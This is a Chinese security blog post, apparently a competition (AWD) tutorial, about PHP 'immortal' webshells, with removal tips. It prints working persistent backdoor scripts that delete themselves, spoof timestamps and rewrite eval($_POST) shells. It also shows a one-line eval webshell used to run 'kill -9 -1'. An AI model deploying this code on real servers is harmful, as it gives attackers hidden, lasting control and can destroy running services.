不死马

admin 2022年1月6日01:42:06评论93 views字数 1411阅读4分42秒阅读模式

内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。

生成过程

不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)

不死马

网上版本

网上流传的不死马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.2.php';
$code = '<?php if(md5($_GET["pass"])=="6a3421c28b49c8ee256ea53ef57b6acf"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
  • ignore_user_abort(true):函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  • set_time_limit():函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
  • unlink(__FILE__):删除文件本身,以起到隐蔽自身的作用。
  • while:循环内每隔usleep(5000)即写新的后门文件
  • system():执行的命令用于修改文件的创建或修改时间,可以绕过“find –name '*.php' –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

升级版

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
while(true) {
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>

杀死不死马

  • 建立一个和不死马一样名字的文件夹,这样不死马就写不进去了。完全杀死不死马,得清理内存。

    1
    rm -rf .2.php | mkdir .2.php
  • 杀进程得在root或者www-data权限下。如上传一句话,然后执行 system(‘kill -9 -1’); 杀死所有进程,在手动删除木马

    1
    2
    shell.php: <?php @eval($_GET['9415']); ?>
    url访问:shell.php?9415=system('kill -9 -1');
  • 用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.
    top 查看占用率最高的cpu进程
    q 退出
    M 根据驻留内存大小进行排序
    P 根据CPU使用百分比大小进行排序

    1
    2
    3
    4
    5
    6
    7
    <?php
    while (1) {
    $pid = 不死⻢的进程PID;
    @unlink("c.php");
    exec("kill -9 $pid");
    usleep(1000);
    }?>
  • 重启 apache,php 等web服务(一般不会有权限)

参考文章:
不死马
自己一次线下AWD线下赛总结

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不死马http://cn-sec.com/archives/722269.html

发表评论

匿名网友 填写信息